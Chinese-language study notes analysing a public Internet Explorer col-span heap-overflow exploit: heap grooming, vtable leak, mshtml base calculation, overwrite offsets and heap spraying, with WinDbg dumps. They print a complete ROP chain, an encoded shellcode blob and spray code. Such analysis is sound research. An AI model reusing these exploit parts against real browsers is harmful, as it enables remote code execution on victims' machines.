环境
受影响软件: Microsoft Internet Explorer 6 through 9, and 10 Consumer Preview
调试环境: XP SP3中文版 + Internet Explorer 8.0.6001.18702
要点记要
常规分析内容就不写了,网上有很多分析文章,这里主要记录分析要点
1. 申请字符串长度为什么-6?
// E
rra[i] = dap.substring(0, (0x100-6)/2);
可以看到字符串长度和结束字符共占6个字节
2. 为什么要appendChild?
// B
var obj = document.createElement("button");
div_container.appendChild(obj);
通过对ntdll!RtlAllocateHeap下断,可以观察JS分配情况
alloc heap: 58 addr: 230740
alloc heap: 14 addr: 30b1700
alloc heap: 40 addr: 30b0330
alloc heap: 20 addr: 31e1960
alloc heap: 4c addr: 1f1860
alloc heap: 50 addr: 1f1128
alloc heap: fc addr: 325d568
alloc heap: 28 addr: 1494c8
alloc heap: 100 addr: 325d670
alloc heap: 100 addr: 325d778
alloc heap: 100 addr: 325d880
这里引用《Internet Explorer Isolated Heap》,可以看到
CButton 58h,上面我的日志也看到申请58大小空间是无法和3次申请100大小空间连续起来,在申请58到后续申请100大小间还有7次alloc,其中当大小是fc时,跟申请100大小空间的地址是连续的,而申请fc大小正是由于appendChild所影响的
3. 133个col元素中width、span为什么是这个值?
<col id="0" width="41" span="9" > </col>
因为需要分配vulBuffer到之前释放的E的位置,所以9 * 0x1c = 0xfc
4. leak变量计算vtable中是如何计算的?
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
其中6之前解释了,2就是结束字符,8就是堆指针,具体如下图
我觉得这样写更好理解
var leak = arr[i].substring((0x100-4)/2+(8)/2, (0x100-4)/2+(8+4)/2);
5. mshtml基址怎么计算的?
mshtmlbase = leak_addr - Number(0x001582b8);
因为button元素vtable相距mshtml基址偏移是固定的,其中在我的调试中值就是上面的,跟原exp不同
6. 第二次堆溢出值的计算?
obj_col_0.width = "1178993"; // smash the vftable 0x07070024
obj_col_0.span = "44"; // the amount to overwrite
其中1178993对应堆喷的地址,44对应vulBuffer到CButton::vtable的偏移,见下数据
0325d670 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E.
0325d680 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d690 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d6a0 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d6b0 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d6c0 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d6d0 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d6e0 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d6f0 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d700 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d710 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d720 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d730 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d740 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d750 45 00 45 00 45 00 45 00-45 00 45 00 45 00 45 00 E.E.E.E.E.E.E.E.
0325d760 45 00 45 00 45 00 45 00-45 00 45 00 45 00 00 00 E.E.E.E.E.E.E...
0325d770 16 c8 ff e9 00 01 08 ff-fa 00 00 00 41 00 41 00 ............A.A.
0325d780 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d790 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d7a0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d7b0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d7c0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d7d0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d7e0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d7f0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d800 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d810 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d820 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d830 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d840 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d850 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d860 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0325d870 41 00 41 00 41 00 00 00-f7 c9 ff e9 00 01 08 ff A.A.A...........
0325d880 fa 00 00 00 42 00 42 00-42 00 42 00 42 00 42 00 ....B.B.B.B.B.B.
0325d890 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d8a0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d8b0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d8c0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d8d0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d8e0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d8f0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d900 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d910 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d920 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d930 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d940 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d950 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d960 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0325d970 42 00 42 00 42 00 42 00-42 00 42 00 42 00 00 00 B.B.B.B.B.B.B...
0325d980 c8 c9 ff e9 00 01 0c ff-08 ae 77 63 20 80 23 00 ..........wc .#.
可以看到
vulBuffer = 0x0325d670
CButton::vtable = 0x0325d988
0325d988 - 0325d670 = 0x318
⌈0x318 / 0x1c⌉ = 29
所以这里其实span是29就足够覆盖到,不知道EXP为什么是44(知道请告诉我~)
7. 如何堆喷到精确地址0x7070024?
引用这篇文章《Targeted Heap Spraying》结合代码讲解
var heapobj = new Object();
// generated with mona.py (mshtml.dll v)
function rop_chain(mshtmlbase){
var arr = [
mshtmlbase + Number(0x00001031),
mshtmlbase + Number(0x00002c78), // pop ebp; retn
mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot)
mshtmlbase + Number(0x00352c8b), // pop eax; retn
mshtmlbase + Number(0x00001340), // ptr to &VirtualAlloc() [IAT]
mshtmlbase + Number(0x00124ade), // mov eax,[eax]; retn
mshtmlbase + Number(0x000af93e), // xchg eax,esi; and al,0; xor eax,eax; retn
mshtmlbase + Number(0x00455a9c), // pop ebp; retn
mshtmlbase + Number(0x00128b8d), // & jmp esp
mshtmlbase + Number(0x00061436), // pop ebx; retn
0x00000001, // 0x00000001-> ebx
mshtmlbase + Number(0x0052d8a3), // pop edx; retn
0x00001000, // 0x00001000-> edx
mshtmlbase + Number(0x00003670), // pop ecx; retn
0x00000040, // 0x00000040-> ecx
mshtmlbase + Number(0x001d263d), // pop edi; retn
mshtmlbase + Number(0x000032ac), // retn
mshtmlbase + Number(0x00352c9f), // pop eax; retn
0x90909090, // nop
mshtmlbase + Number(0x0052e805), // pushad; retn
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
];
return arr;
}
function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(heapobj, tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += heapobj.d2u(tab[i]);
}
return uni;
}
heapobj.tab2uni = tab2uni;
heapobj.d2u = d2u;
heapobj.rop_chain = rop_chain;
var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2");
var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
var shellcode = rop_chain + code
while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<400; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
64KB * 16 = 1MB * 400 = 400MB = 0x19000000覆盖到了0x70700024地址
大块按1MB对齐,小块按64KB对齐
其中38的含义是
header = 0x20
stringlen = 0x4
unicodenull = 0x2
可以通过Windbg来观察堆
1:023> !heap -flt s fffe0
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03f50018 1fffc 0000 [0b] 03f50020 fffe0 - (busy VirtualAlloc)
04060018 1fffc fffc [0b] 04060020 fffe0 - (busy VirtualAlloc)
1:023> !heap -v 140000
Index Address Name Debugging options enabled
1: 00140000
Segment at 00140000 to 00240000 (00100000 bytes committed)
Segment at 02ce0000 to 02de0000 (00100000 bytes committed)
Segment at 03190000 to 03390000 (001b6000 bytes committed)
Segment at 03b50000 to 03f50000 (00048000 bytes committed)
Flags: 00000002
ForceFlags: 00000000
Granularity: 8 bytes
Segment Reserve: 00800000
Segment Commit: 00002000
DeCommit Block Thres: 00000800
DeCommit Total Thres: 00002000
Total Free Size: 00000f96
Max. Allocation Size: 7ffdefff
Lock Variable at: 00140608
Next TagIndex: 0000
Maximum TagIndex: 0000
Tag Entries: 00000000
PsuedoTag Entries: 00000000
Virtual Alloc List: 00140050
1:023> dt _LIST_ENTRY 00140050
ntdll!_LIST_ENTRY
[ 0x3f50000 - 0x1ea50000 ]
+0x000 Flink : 0x03f50000 _LIST_ENTRY [ 0x4060000 - 0x140050 ]
+0x004 Blink : 0x1ea50000 _LIST_ENTRY [ 0x140050 - 0x1e940000 ]
1:023> dd 0x03f50000
03f50000 04060000 00140050 00000000 00000000
03f50010 00101000 00101000 00001020 00000b00
03f50020 000fffda 63581031 6358129a 6358129a
1:023> ? fffda + 4 + 2
Evaluate expression: 1048544 = 000fffe0